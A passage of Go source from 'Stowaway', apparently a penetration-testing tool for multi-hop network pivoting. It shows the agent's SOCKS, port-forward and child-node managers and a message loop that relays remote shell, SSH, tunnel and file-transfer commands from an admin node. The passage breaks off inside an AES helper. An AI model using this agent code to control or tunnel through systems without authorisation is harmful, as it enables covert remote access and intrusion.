122 | 		manager.ResultChan <- &backwardResult{OK: false}
123 | 	}
124 | }
125 | 
126 | func (manager *backwardManager) getDataChan(task *BackwardTask) {
127 | 	if _, ok := manager.backwardMap[task.RPort]; ok {
128 | 		if _, ok := manager.backwardMap[task.RPort].backwardStatusMap[task.Seq]; ok {
129 | 			manager.ResultChan <- &backwardResult{
130 | 				OK:       true,
131 | 				DataChan: manager.backwardMap[task.RPort].backwardStatusMap[task.Seq].dataChan,
132 | 			}
133 | 		} else {
134 | 			manager.ResultChan <- &backwardResult{OK: false}
135 | 		}
136 | 	} else {
137 | 		manager.ResultChan <- &backwardResult{OK: false}
138 | 	}
139 | }
140 | 
141 | func (manager *backwardManager) getDatachanWithoutUUID(task *BackwardTask) {
142 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
143 | 		manager.ResultChan <- &backwardResult{OK: false}
144 | 		return
145 | 	}
146 | 
147 | 	rPort := manager.backwardSeqMap[task.Seq]
148 | 
149 | 	if _, ok := manager.backwardMap[rPort]; ok {
150 | 		manager.ResultChan <- &backwardResult{
151 | 			OK:       true,
152 | 			DataChan: manager.backwardMap[rPort].backwardStatusMap[task.Seq].dataChan,
153 | 		}
154 | 	} else {
155 | 		manager.ResultChan <- &backwardResult{OK: false}
156 | 	}
157 | }
158 | 
159 | func (manager *backwardManager) closeTCP(task *BackwardTask) {
160 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
161 | 		return
162 | 	}
163 | 
164 | 	rPort := manager.backwardSeqMap[task.Seq]
165 | 
166 | 	close(manager.backwardMap[rPort].backwardStatusMap[task.Seq].dataChan)
167 | 
168 | 	delete(manager.backwardMap[rPort].backwardStatusMap, task.Seq)
169 | 
170 | }
171 | 
172 | func (manager *backwardManager) closeSingle(task *BackwardTask) {
173 | 	manager.backwardMap[task.RPort].listener.Close()
174 | 	close(manager.backwardMap[task.RPort].seqChan)
175 | 
176 | 	for seq, status := range manager.backwardMap[task.RPort].backwardStatusMap {
177 | 		close(status.dataChan)
178 | 		delete(manager.backwardMap[task.RPort].backwardStatusMap, seq)
179 | 	}
180 | 
181 | 	delete(manager.backwardMap, task.RPort)
182 | 
183 | 	for seq, rPort := range manager.backwardSeqMap {
184 | 		if rPort == task.RPort {
185 | 			delete(manager.backwardSeqMap, seq)
186 | 		}
187 | 	}
188 | 
189 | 	manager.ResultChan <- &backwardResult{OK: true}
190 | }
191 | 
192 | func (manager *backwardManager) closeSingleAll() {
193 | 	for rPort, bw := range manager.backwardMap {
194 | 		bw.listener.Close()
195 | 		close(bw.seqChan)
196 | 
197 | 		for seq, status := range bw.backwardStatusMap {
198 | 			close(status.dataChan)
199 | 			delete(manager.backwardMap[rPort].backwardStatusMap, seq)
200 | 		}
201 | 
202 | 		delete(manager.backwardMap, rPort)
203 | 	}
204 | 
205 | 	for seq := range manager.backwardSeqMap {
206 | 		delete(manager.backwardSeqMap, seq)
207 | 	}
208 | 
209 | 	manager.ResultChan <- &backwardResult{OK: true}
210 | }
211 | 
212 | func (manager *backwardManager) forceShutdown() {
213 | 	manager.closeSingleAll()
214 | }
215 | 


--------------------------------------------------------------------------------
/agent/manager/children.go:
--------------------------------------------------------------------------------
  1 | package manager
  2 | 
  3 | import (
  4 | 	"net"
  5 | )
  6 | 
  7 | const (
  8 | 	C_NEWCHILD = iota
  9 | 	C_GETCONN
 10 | 	C_GETALLCHILDREN
 11 | 	C_DELCHILD
 12 | )
 13 | 
 14 | type childrenManager struct {
 15 | 	children      map[string]*child
 16 | 	ChildComeChan chan *ChildInfo
 17 | 
 18 | 	TaskChan   chan *ChildrenTask
 19 | 	ResultChan chan *ChildrenResult
 20 | }
 21 | 
 22 | type ChildrenTask struct {
 23 | 	Mode int
 24 | 
 25 | 	UUID string
 26 | 	Conn net.Conn
 27 | }
 28 | 
 29 | type ChildrenResult struct {
 30 | 	Conn     net.Conn
 31 | 	OK       bool
 32 | 	Children []string
 33 | }
 34 | 
 35 | type ChildInfo struct {
 36 | 	UUID string
 37 | 	Conn net.Conn
 38 | }
 39 | 
 40 | type child struct {
 41 | 	conn net.Conn
 42 | }
 43 | 
 44 | func newChildrenManager() *childrenManager {
 45 | 	manager := new(childrenManager)
 46 | 	manager.children = make(map[string]*child)
 47 | 	manager.ChildComeChan = make(chan *ChildInfo)
 48 | 	manager.TaskChan = make(chan *ChildrenTask)
 49 | 	manager.ResultChan = make(chan *ChildrenResult)
 50 | 	return manager
 51 | }
 52 | 
 53 | func (manager *childrenManager) run() {
 54 | 	for {
 55 | 		task := <-manager.TaskChan
 56 | 
 57 | 		switch task.Mode {
 58 | 		case C_NEWCHILD:
 59 | 			manager.newChild(task)
 60 | 		case C_GETCONN:
 61 | 			manager.getConn(task)
 62 | 		case C_GETALLCHILDREN:
 63 | 			manager.getAllChildren()
 64 | 		case C_DELCHILD:
 65 | 			manager.delChild(task)
 66 | 		}
 67 | 	}
 68 | }
 69 | 
 70 | func (manager *childrenManager) newChild(task *ChildrenTask) {
 71 | 	manager.children[task.UUID] = new(child)
 72 | 	manager.children[task.UUID].conn = task.Conn
 73 | 	manager.ResultChan <- &ChildrenResult{OK: true}
 74 | }
 75 | 
 76 | func (manager *childrenManager) getConn(task *ChildrenTask) {
 77 | 	if _, ok := manager.children[task.UUID]; ok {
 78 | 		manager.ResultChan <- &ChildrenResult{
 79 | 			OK:   true,
 80 | 			Conn: manager.children[task.UUID].conn,
 81 | 		}
 82 | 	} else {
 83 | 		manager.ResultChan <- &ChildrenResult{OK: false}
 84 | 	}
 85 | }
 86 | 
 87 | func (manager *childrenManager) getAllChildren() {
 88 | 	var children []string
 89 | 
 90 | 	for child := range manager.children {
 91 | 		children = append(children, child)
 92 | 	}
 93 | 
 94 | 	manager.ResultChan <- &ChildrenResult{Children: children}
 95 | }
 96 | 
 97 | func (manager *childrenManager) delChild(task *ChildrenTask) {
 98 | 	delete(manager.children, task.UUID)
 99 | 	manager.ResultChan <- &ChildrenResult{OK: true}
100 | }
101 | 


--------------------------------------------------------------------------------
/agent/manager/forward.go:
--------------------------------------------------------------------------------
  1 | package manager
  2 | 
  3 | const (
  4 | 	F_NEWFORWARD = iota
  5 | 	F_GETDATACHAN
  6 | 	F_CHECKFORWARD
  7 | 	F_CLOSETCP
  8 | 	F_FORCESHUTDOWN
  9 | )
 10 | 
 11 | type forwardManager struct {
 12 | 	forwardStatusMap map[uint64]*forwardStatus
 13 | 	ForwardMessChan  chan interface{}
 14 | 
 15 | 	TaskChan   chan *ForwardTask
 16 | 	ResultChan chan *forwardResult
 17 | }
 18 | 
 19 | type ForwardTask struct {
 20 | 	Mode int
 21 | 	Seq  uint64
 22 | }
 23 | 
 24 | type forwardResult struct {
 25 | 	OK bool
 26 | 
 27 | 	DataChan chan []byte
 28 | }
 29 | 
 30 | type forwardStatus struct {
 31 | 	dataChan chan []byte
 32 | }
 33 | 
 34 | func newForwardManager() *forwardManager {
 35 | 	manager := new(forwardManager)
 36 | 
 37 | 	manager.forwardStatusMap = make(map[uint64]*forwardStatus)
 38 | 	manager.ForwardMessChan = make(chan interface{}, 5)
 39 | 
 40 | 	manager.ResultChan = make(chan *forwardResult)
 41 | 	manager.TaskChan = make(chan *ForwardTask)
 42 | 
 43 | 	return manager
 44 | }
 45 | 
 46 | func (manager *forwardManager) run() {
 47 | 	for {
 48 | 		task := <-manager.TaskChan
 49 | 
 50 | 		switch task.Mode {
 51 | 		case F_NEWFORWARD:
 52 | 			manager.newForward(task)
 53 | 		case F_GETDATACHAN:
 54 | 			manager.getDataChan(task)
 55 | 		case F_CHECKFORWARD:
 56 | 			manager.checkForward(task)
 57 | 		case F_CLOSETCP:
 58 | 			manager.closeTCP(task)
 59 | 		case F_FORCESHUTDOWN:
 60 | 			manager.forceShutdown()
 61 | 		}
 62 | 	}
 63 | }
 64 | 
 65 | func (manager *forwardManager) newForward(task *ForwardTask) {
 66 | 	manager.forwardStatusMap[task.Seq] = new(forwardStatus)
 67 | 	manager.forwardStatusMap[task.Seq].dataChan = make(chan []byte, 5)
 68 | 	manager.ResultChan <- &forwardResult{OK: true}
 69 | }
 70 | 
 71 | func (manager *forwardManager) checkForward(task *ForwardTask) {
 72 | 	if _, ok := manager.forwardStatusMap[task.Seq]; ok {
 73 | 		manager.ResultChan <- &forwardResult{OK: true}
 74 | 	} else {
 75 | 		manager.ResultChan <- &forwardResult{OK: false}
 76 | 	}
 77 | }
 78 | 
 79 | func (manager *forwardManager) getDataChan(task *ForwardTask) {
 80 | 	if _, ok := manager.forwardStatusMap[task.Seq]; ok {
 81 | 		manager.ResultChan <- &forwardResult{
 82 | 			OK:       true,
 83 | 			DataChan: manager.forwardStatusMap[task.Seq].dataChan,
 84 | 		}
 85 | 	} else {
 86 | 		manager.ResultChan <- &forwardResult{OK: false}
 87 | 	}
 88 | }
 89 | 
 90 | func (manager *forwardManager) closeTCP(task *ForwardTask) {
 91 | 	close(manager.forwardStatusMap[task.Seq].dataChan)
 92 | 
 93 | 	delete(manager.forwardStatusMap, task.Seq)
 94 | }
 95 | 
 96 | func (manager *forwardManager) forceShutdown() {
 97 | 	for seq, status := range manager.forwardStatusMap {
 98 | 		close(status.dataChan)
 99 | 		delete(manager.forwardStatusMap, seq)
100 | 	}
101 | 
102 | 	manager.ResultChan <- &forwardResult{OK: true}
103 | }
104 | 


--------------------------------------------------------------------------------
/agent/manager/manager.go:
--------------------------------------------------------------------------------
 1 | package manager
 2 | 
 3 | import (
 4 | 	"Stowaway/share"
 5 | )
 6 | 
 7 | type Manager struct {
 8 | 	ChildrenManager  *childrenManager
 9 | 	FileManager      *fileManager
10 | 	SocksManager     *socksManager
11 | 	ForwardManager   *forwardManager
12 | 	BackwardManager  *backwardManager
13 | 	SSHManager       *sshManager
14 | 	SSHTunnelManager *sshTunnelManager
15 | 	ShellManager     *shellManager
16 | 	ListenManager    *listenManager
17 | 	ConnectManager   *connectManager
18 | 	OfflineManager   *offlineManager
19 | }
20 | 
21 | func NewManager(file *share.MyFile) *Manager {
22 | 	manager := new(Manager)
23 | 	manager.ChildrenManager = newChildrenManager()
24 | 	manager.FileManager = newFileManager(file)
25 | 	manager.SocksManager = newSocksManager()
26 | 	manager.ForwardManager = newForwardManager()
27 | 	manager.BackwardManager = newBackwardManager()
28 | 	manager.SSHManager = newSSHManager()
29 | 	manager.SSHTunnelManager = newSSHTunnelManager()
30 | 	manager.ShellManager = newShellManager()
31 | 	manager.ListenManager = newListenManager()
32 | 	manager.ConnectManager = newConnectManager()
33 | 	manager.OfflineManager = newOfflineManager()
34 | 	return manager
35 | }
36 | 
37 | func (manager *Manager) Run() {
38 | 	go manager.ChildrenManager.run()
39 | 	go manager.SocksManager.run()
40 | 	go manager.ForwardManager.run()
41 | 	go manager.BackwardManager.run()
42 | }
43 | 


--------------------------------------------------------------------------------
/agent/manager/others.go:
--------------------------------------------------------------------------------
 1 | package manager
 2 | 
 3 | import "Stowaway/share"
 4 | 
 5 | type fileManager struct {
 6 | 	File *share.MyFile
 7 | 
 8 | 	FileMessChan chan interface{}
 9 | }
10 | 
11 | func newFileManager(file *share.MyFile) *fileManager {
12 | 	manager := new(fileManager)
13 | 	manager.File = file
14 | 	manager.FileMessChan = make(chan interface{}, 5)
15 | 	return manager
16 | }
17 | 
18 | type sshManager struct {
19 | 	SSHMessChan chan interface{}
20 | }
21 | 
22 | func newSSHManager() *sshManager {
23 | 	manager := new(sshManager)
24 | 	manager.SSHMessChan = make(chan interface{}, 5)
25 | 	return manager
26 | }
27 | 
28 | type sshTunnelManager struct {
29 | 	SSHTunnelMessChan chan interface{}
30 | }
31 | 
32 | func newSSHTunnelManager() *sshTunnelManager {
33 | 	manager := new(sshTunnelManager)
34 | 	manager.SSHTunnelMessChan = make(chan interface{}, 5)
35 | 	return manager
36 | }
37 | 
38 | type shellManager struct {
39 | 	ShellMessChan chan interface{}
40 | }
41 | 
42 | func newShellManager() *shellManager {
43 | 	manager := new(shellManager)
44 | 	manager.ShellMessChan = make(chan interface{}, 5)
45 | 	return manager
46 | }
47 | 
48 | type listenManager struct {
49 | 	ListenMessChan chan interface{}
50 | 	ChildUUIDChan  chan string
51 | }
52 | 
53 | func newListenManager() *listenManager {
54 | 	manager := new(listenManager)
55 | 	manager.ListenMessChan = make(chan interface{}, 5)
56 | 	manager.ChildUUIDChan = make(chan string)
57 | 	return manager
58 | }
59 | 
60 | type connectManager struct {
61 | 	ConnectMessChan chan interface{}
62 | }
63 | 
64 | func newConnectManager() *connectManager {
65 | 	manager := new(connectManager)
66 | 	manager.ConnectMessChan = make(chan interface{}, 5)
67 | 	return manager
68 | }
69 | 
70 | type offlineManager struct {
71 | 	OfflineMessChan chan interface{}
72 | }
73 | 
74 | func newOfflineManager() *offlineManager {
75 | 	manager := new(offlineManager)
76 | 	manager.OfflineMessChan = make(chan interface{}, 5)
77 | 	return manager
78 | }
79 | 


--------------------------------------------------------------------------------
/agent/manager/socks.go:
--------------------------------------------------------------------------------
  1 | package manager
  2 | 
  3 | const (
  4 | 	S_CHECKTCP = iota
  5 | 	S_CHECKUDP
  6 | 	S_UPDATEUDPHEADER
  7 | 	S_GETTCPDATACHAN
  8 | 	S_GETUDPCHANS
  9 | 	S_GETUDPHEADER
 10 | 	S_CLOSETCP
 11 | 	S_CHECKSOCKSREADY
 12 | 	S_FORCESHUTDOWN
 13 | )
 14 | 
 15 | type socksManager struct {
 16 | 	socksStatusMap map[uint64]*socksStatus
 17 | 	SocksMessChan  chan interface{}
 18 | 
 19 | 	TaskChan   chan *SocksTask
 20 | 	ResultChan chan *socksResult
 21 | }
 22 | 
 23 | type SocksTask struct {
 24 | 	Mode int
 25 | 	Seq  uint64
 26 | 
 27 | 	SocksHeaderAddr string
 28 | 	SocksHeader     []byte
 29 | }
 30 | 
 31 | type socksResult struct {
 32 | 	OK bool
 33 | 
 34 | 	SocksSeqExist  bool
 35 | 	DataChan       chan []byte
 36 | 	ReadyChan      chan string
 37 | 	SocksID        uint64
 38 | 	SocksUDPHeader []byte
 39 | }
 40 | 
 41 | type socksStatus struct {
 42 | 	isUDP bool
 43 | 	tcp   *tcpSocks
 44 | 	udp   *udpSocks
 45 | }
 46 | 
 47 | type tcpSocks struct {
 48 | 	dataChan chan []byte
 49 | }
 50 | 
 51 | type udpSocks struct {
 52 | 	dataChan    chan []byte
 53 | 	readyChan   chan string
 54 | 	headerPairs map[string][]byte
 55 | }
 56 | 
 57 | func newSocksManager() *socksManager {
 58 | 	manager := new(socksManager)
 59 | 
 60 | 	manager.socksStatusMap = make(map[uint64]*socksStatus)
 61 | 	manager.SocksMessChan = make(chan interface{}, 5)
 62 | 
 63 | 	manager.ResultChan = make(chan *socksResult)
 64 | 	manager.TaskChan = make(chan *SocksTask)
 65 | 
 66 | 	return manager
 67 | }
 68 | 
 69 | func (manager *socksManager) run() {
 70 | 	for {
 71 | 		task := <-manager.TaskChan
 72 | 
 73 | 		switch task.Mode {
 74 | 		case S_GETTCPDATACHAN:
 75 | 			manager.getTCPDataChan(task)
 76 | 		case S_GETUDPCHANS:
 77 | 			manager.getUDPChans(task)
 78 | 		case S_GETUDPHEADER:
 79 | 			manager.getUDPHeader(task)
 80 | 		case S_CHECKTCP:
 81 | 			manager.checkTCP(task)
 82 | 		case S_CHECKUDP:
 83 | 			manager.checkUDP(task)
 84 | 		case S_UPDATEUDPHEADER:
 85 | 			manager.updateUDPHeader(task)
 86 | 		case S_CLOSETCP:
 87 | 			manager.closeTCP(task)
 88 | 		case S_CHECKSOCKSREADY:
 89 | 			manager.checkSocksReady()
 90 | 		case S_FORCESHUTDOWN:
 91 | 			manager.forceShutdown()
 92 | 		}
 93 | 	}
 94 | }
 95 | 
 96 | func (manager *socksManager) getTCPDataChan(task *SocksTask) {
 97 | 	if _, ok := manager.socksStatusMap[task.Seq]; ok {
 98 | 		manager.ResultChan <- &socksResult{
 99 | 			SocksSeqExist: true,
100 | 			DataChan:      manager.socksStatusMap[task.Seq].tcp.dataChan,
101 | 		}
102 | 	} else {
103 | 		manager.socksStatusMap[task.Seq] = new(socksStatus)
104 | 		manager.socksStatusMap[task.Seq].tcp = new(tcpSocks)
105 | 		manager.socksStatusMap[task.Seq].tcp.dataChan = make(chan []byte, 5) // register it!
106 | 		manager.ResultChan <- &socksResult{
107 | 			SocksSeqExist: false,
108 | 			DataChan:      manager.socksStatusMap[task.Seq].tcp.dataChan,
109 | 		} // tell upstream result
110 | 	}
111 | }
112 | 
113 | func (manager *socksManager) getUDPChans(task *SocksTask) {
114 | 	if _, ok := manager.socksStatusMap[task.Seq]; ok {
115 | 		manager.ResultChan <- &socksResult{
116 | 			OK:        true,
117 | 			DataChan:  manager.socksStatusMap[task.Seq].udp.dataChan,
118 | 			ReadyChan: manager.socksStatusMap[task.Seq].udp.readyChan,
119 | 		}
120 | 	} else {
121 | 		manager.ResultChan <- &socksResult{OK: false}
122 | 	}
123 | }
124 | 
125 | func (manager *socksManager) checkTCP(task *SocksTask) {
126 | 	if _, ok := manager.socksStatusMap[task.Seq]; ok {
127 | 		manager.ResultChan <- &socksResult{OK: true}
128 | 	} else {
129 | 		manager.ResultChan <- &socksResult{OK: false} // avoid the scenario that admin conn ask to fin before "socks.buildConn()" call "updateTCP()"
130 | 	}
131 | }
132 | 
133 | func (manager *socksManager) checkUDP(task *SocksTask) {
134 | 	if _, ok := manager.socksStatusMap[task.Seq]; ok {
135 | 		manager.socksStatusMap[task.Seq].isUDP = true
136 | 		manager.socksStatusMap[task.Seq].udp = new(udpSocks)
137 | 		manager.socksStatusMap[task.Seq].udp.dataChan = make(chan []byte, 5)
138 | 		manager.socksStatusMap[task.Seq].udp.readyChan = make(chan string)
139 | 		manager.socksStatusMap[task.Seq].udp.headerPairs = make(map[string][]byte)
140 | 		manager.ResultChan <- &socksResult{OK: true} // tell upstream work done
141 | 	} else {
142 | 		manager.ResultChan <- &socksResult{OK: false}
143 | 	}
144 | }
145 | 
146 | func (manager *socksManager) updateUDPHeader(task *SocksTask) {
147 | 	if _, ok := manager.socksStatusMap[task.Seq]; ok {
148 | 		manager.socksStatusMap[task.Seq].udp.headerPairs[task.SocksHeaderAddr] = task.SocksHeader
149 | 	}
150 | 	manager.ResultChan <- &socksResult{}
151 | }
152 | 
153 | func (manager *socksManager) getUDPHeader(task *SocksTask) {
154 | 	if _, ok := manager.socksStatusMap[task.Seq]; ok {
155 | 		if _, ok := manager.socksStatusMap[task.Seq].udp.headerPairs[task.SocksHeaderAddr]; ok {
156 | 			manager.ResultChan <- &socksResult{
157 | 				OK:             true,
158 | 				SocksUDPHeader: manager.socksStatusMap[task.Seq].udp.headerPairs[task.SocksHeaderAddr],
159 | 			}
160 | 		} else {
161 | 			manager.ResultChan <- &socksResult{OK: false}
162 | 		}
163 | 	} else {
164 | 		manager.ResultChan <- &socksResult{OK: false}
165 | 	}
166 | }
167 | 
168 | func (manager *socksManager) closeTCP(task *SocksTask) {
169 | 	close(manager.socksStatusMap[task.Seq].tcp.dataChan)
170 | 
171 | 	if manager.socksStatusMap[task.Seq].isUDP {
172 | 		close(manager.socksStatusMap[task.Seq].udp.dataChan)
173 | 		close(manager.socksStatusMap[task.Seq].udp.readyChan)
174 | 		manager.socksStatusMap[task.Seq].udp.headerPairs = nil
175 | 	}
176 | 
177 | 	delete(manager.socksStatusMap, task.Seq) // upstream not waiting
178 | }
179 | 
180 | func (manager *socksManager) checkSocksReady() {
181 | 	if len(manager.socksStatusMap) == 0 {
182 | 		manager.ResultChan <- &socksResult{OK: true}
183 | 	} else {
184 | 		manager.ResultChan <- &socksResult{OK: false}
185 | 	}
186 | }
187 | 
188 | func (manager *socksManager) forceShutdown() {
189 | 	for seq, status := range manager.socksStatusMap {
190 | 		close(status.tcp.dataChan)
191 | 
192 | 		if status.isUDP {
193 | 			close(status.udp.dataChan)
194 | 			close(status.udp.readyChan)
195 | 			status.udp.headerPairs = nil
196 | 		}
197 | 
198 | 		delete(manager.socksStatusMap, seq)
199 | 	}
200 | 
201 | 	manager.ResultChan <- &socksResult{OK: true}
202 | }
203 | 


--------------------------------------------------------------------------------
/agent/process/process.go:
--------------------------------------------------------------------------------
  1 | package process
  2 | 
  3 | import (
  4 | 	"log"
  5 | 	"net"
  6 | 	"os"
  7 | 	"strings"
  8 | 
  9 | 	"Stowaway/agent/handler"
 10 | 	"Stowaway/agent/initial"
 11 | 	"Stowaway/agent/manager"
 12 | 	"Stowaway/global"
 13 | 	"Stowaway/protocol"
 14 | 	"Stowaway/share"
 15 | 	"Stowaway/utils"
 16 | )
 17 | 
 18 | type Agent struct {
 19 | 	UUID string
 20 | 	Memo string
 21 | 
 22 | 	options *initial.Options
 23 | 	mgr     *manager.Manager
 24 | 
 25 | 	childrenMessChan chan *ChildrenMess
 26 | }
 27 | 
 28 | type ChildrenMess struct {
 29 | 	cHeader  *protocol.Header
 30 | 	cMessage []byte
 31 | }
 32 | 
 33 | func NewAgent(options *initial.Options) *Agent {
 34 | 	agent := new(Agent)
 35 | 	agent.UUID = protocol.TEMP_UUID
 36 | 	agent.childrenMessChan = make(chan *ChildrenMess, 5)
 37 | 	agent.options = options
 38 | 	return agent
 39 | }
 40 | 
 41 | func (agent *Agent) Run() {
 42 | 	agent.sendMyInfo()
 43 | 	// run manager
 44 | 	agent.mgr = manager.NewManager(share.NewFile())
 45 | 	go agent.mgr.Run()
 46 | 	// run dispatchers to dispatch all kinds of message
 47 | 	go handler.DispatchListenMess(agent.mgr, agent.options)
 48 | 	go handler.DispatchConnectMess(agent.mgr)
 49 | 	go handler.DispathSocksMess(agent.mgr)
 50 | 	go handler.DispatchForwardMess(agent.mgr)
 51 | 	go handler.DispatchBackwardMess(agent.mgr)
 52 | 	go handler.DispatchFileMess(agent.mgr)
 53 | 	go handler.DispatchSSHMess(agent.mgr)
 54 | 	go handler.DispatchSSHTunnelMess(agent.mgr)
 55 | 	go handler.DispatchShellMess(agent.mgr, agent.options)
 56 | 	go DispatchOfflineMess(agent)
 57 | 	// run dispatcher to dispatch children's message
 58 | 	go agent.dispatchChildrenMess()
 59 | 	// waiting for child
 60 | 	go agent.waitingChild()
 61 | 	// process data from upstream
 62 | 	agent.handleDataFromUpstream()
 63 | 	//agent.handleDataFromDownstream()
 64 | }
 65 | 
 66 | func (agent *Agent) sendMyInfo() {
 67 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 68 | 	header := &protocol.Header{
 69 | 		Sender:      agent.UUID,
 70 | 		Accepter:    protocol.ADMIN_UUID,
 71 | 		MessageType: protocol.MYINFO,
 72 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
 73 | 		Route:       protocol.TEMP_ROUTE,
 74 | 	}
 75 | 
 76 | 	hostname, username := utils.GetSystemInfo()
 77 | 
 78 | 	myInfoMess := &protocol.MyInfo{
 79 | 		UUIDLen:     uint16(len(agent.UUID)),
 80 | 		UUID:        agent.UUID,
 81 | 		UsernameLen: uint64(len(username)),
 82 | 		Username:    username,
 83 | 		HostnameLen: uint64(len(hostname)),
 84 | 		Hostname:    hostname,
 85 | 		MemoLen:     uint64(len(agent.Memo)),
 86 | 		Memo:        agent.Memo,
 87 | 	}
 88 | 
 89 | 	protocol.ConstructMessage(sMessage, header, myInfoMess, false)
 90 | 	sMessage.SendMessage()
 91 | }
 92 | 
 93 | func (agent *Agent) handleDataFromUpstream() {
 94 | 	rMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 95 | 
 96 | 	for {
 97 | 		header, message, err := protocol.DestructMessage(rMessage)
 98 | 		if err != nil {
 99 | 			upstreamOffline(agent.mgr, agent.options)
100 | 			// Update rMessage
101 | 			rMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
102 | 			go agent.sendMyInfo()
103 | 			continue
104 | 		}
105 | 
106 | 		if header.Accepter == agent.UUID {
107 | 			switch header.MessageType {
108 | 			case protocol.MYMEMO:
109 | 				message := message.(*protocol.MyMemo)
110 | 				agent.Memo = message.Memo // no need to pass this like all the message below,just change memo directly
111 | 			case protocol.SHELLREQ:
112 | 				fallthrough
113 | 			case protocol.SHELLCOMMAND:
114 | 				agent.mgr.ShellManager.ShellMessChan <- message
115 | 			case protocol.SSHREQ:
116 | 				fallthrough
117 | 			case protocol.SSHCOMMAND:
118 | 				agent.mgr.SSHManager.SSHMessChan <- message
119 | 			case protocol.SSHTUNNELREQ:
120 | 				agent.mgr.SSHTunnelManager.SSHTunnelMessChan <- message
121 | 			case protocol.FILESTATREQ:
122 | 				fallthrough
123 | 			case protocol.FILESTATRES:
124 | 				fallthrough
125 | 			case protocol.FILEDATA:
126 | 				fallthrough
127 | 			case protocol.FILEERR:
128 | 				fallthrough
129 | 			case protocol.FILEDOWNREQ:
130 | 				agent.mgr.FileManager.FileMessChan <- message
131 | 			case protocol.SOCKSSTART:
132 | 				fallthrough
133 | 			case protocol.SOCKSTCPDATA:
134 | 				fallthrough
135 | 			case protocol.SOCKSTCPFIN:
136 | 				fallthrough
137 | 			case protocol.UDPASSRES:
138 | 				fallthrough
139 | 			case protocol.SOCKSUDPDATA:
140 | 				agent.mgr.SocksManager.SocksMessChan <- message
141 | 			case protocol.FORWARDTEST:
142 | 				fallthrough
143 | 			case protocol.FORWARDSTART:
144 | 				fallthrough
145 | 			case protocol.FORWARDDATA:
146 | 				fallthrough
147 | 			case protocol.FORWARDFIN:
148 | 				agent.mgr.ForwardManager.ForwardMessChan <- message
149 | 			case protocol.BACKWARDTEST:
150 | 				fallthrough
151 | 			case protocol.BACKWARDSEQ:
152 | 				fallthrough
153 | 			case protocol.BACKWARDFIN:
154 | 				fallthrough
155 | 			case protocol.BACKWARDSTOP:
156 | 				fallthrough
157 | 			case protocol.BACKWARDDATA:
158 | 				agent.mgr.BackwardManager.BackwardMessChan <- message
159 | 			case protocol.CHILDUUIDRES:
160 | 				fallthrough
161 | 			case protocol.LISTENREQ:
162 | 				agent.mgr.ListenManager.ListenMessChan <- message
163 | 			case protocol.CONNECTSTART:
164 | 				agent.mgr.ConnectManager.ConnectMessChan <- message
165 | 			case protocol.UPSTREAMOFFLINE:
166 | 				fallthrough
167 | 			case protocol.UPSTREAMREONLINE:
168 | 				agent.mgr.OfflineManager.OfflineMessChan <- message
169 | 			case protocol.SHUTDOWN:
170 | 				os.Exit(0)
171 | 			case protocol.HEARTBEAT:
172 | 			default:
173 | 				log.Println("[*] Unknown Message!")
174 | 			}
175 | 		} else {
176 | 			agent.childrenMessChan <- &ChildrenMess{
177 | 				cHeader:  header,
178 | 				cMessage: message.([]byte),
179 | 			}
180 | 		}
181 | 	}
182 | }
183 | 
184 | func (agent *Agent) dispatchChildrenMess() {
185 | 	for {
186 | 		childrenMess := <-agent.childrenMessChan
187 | 
188 | 		childUUID := changeRoute(childrenMess.cHeader)
189 | 
190 | 		task := &manager.ChildrenTask{
191 | 			Mode: manager.C_GETCONN,
192 | 			UUID: childUUID,
193 | 		}
194 | 		agent.mgr.ChildrenManager.TaskChan <- task
195 | 		result := <-agent.mgr.ChildrenManager.ResultChan
196 | 		if !result.OK {
197 | 			continue
198 | 		}
199 | 
200 | 		sMessage := protocol.NewDownMsg(result.Conn, global.G_Component.Secret, global.G_Component.UUID)
201 | 
202 | 		protocol.ConstructMessage(sMessage, childrenMess.cHeader, childrenMess.cMessage, true)
203 | 		sMessage.SendMessage()
204 | 	}
205 | }
206 | 
207 | func (agent *Agent) waitingChild() {
208 | 	for {
209 | 		childInfo := <-agent.mgr.ChildrenManager.ChildComeChan
210 | 		go agent.handleDataFromDownstream(childInfo.Conn, childInfo.UUID)
211 | 	}
212 | }
213 | 
214 | func (agent *Agent) handleDataFromDownstream(conn net.Conn, uuid string) {
215 | 	rMessage := protocol.NewDownMsg(conn, global.G_Component.Secret, global.G_Component.UUID)
216 | 
217 | 	for {
218 | 		header, message, err := protocol.DestructMessage(rMessage)
219 | 		if err != nil {
220 | 			downStreamOffline(agent.mgr, agent.options, uuid)
221 | 			return
222 | 		}
223 | 
224 | 		sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
225 | 
226 | 		protocol.ConstructMessage(sMessage, header, message, true)
227 | 		sMessage.SendMessage()
228 | 	}
229 | }
230 | 
231 | func changeRoute(header *protocol.Header) string {
232 | 	route := header.Route
233 | 	// find next uuid
234 | 	routes := strings.Split(route, ":")
235 | 	if len(routes) == 1 {
236 | 		header.Route = ""
237 | 		header.RouteLen = 0
238 | 		return routes[0]
239 | 	}
240 | 
241 | 	header.Route = strings.Join(routes[1:], ":")
242 | 	header.RouteLen = uint32(len(header.Route))
243 | 	return routes[0]
244 | 
245 | }
246 | 


--------------------------------------------------------------------------------
/ansicon/ansi189-bin.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ph4ntonn/Stowaway/c22010f9a5166945c14b7ffacfb28fafbf938c78/ansicon/ansi189-bin.zip


--------------------------------------------------------------------------------
/crypto/aes.go:
--------------------------------------------------------------------------------
 1 | package crypto
 2 | 
 3 | import (
 4 | 	"bytes"
 5 | 	"crypto/aes"
 6 | 	"crypto/cipher"
 7 | 	"crypto/rand"
 8 | 	"io"
 9 | )
10 | 
11 | // 2021.10.1 Switch AES-CBC to AES-GCM
12 | // Faster(serial computing to parallel computing) and safer(avoid Padding Oracle Attack)
13 | 
14 | func KeyPadding(key []byte) []byte {
15 | 	// if no key,just return
16 | 	if string(key) == "" {
17 | 		return nil
18 | 	}
19 | 	// if key is set & == 32 bytes, return it
20 | 	keyLength := len(key)
21 | 	if keyLength > 32 {
22 | 		return key[:32]
23 | 	}
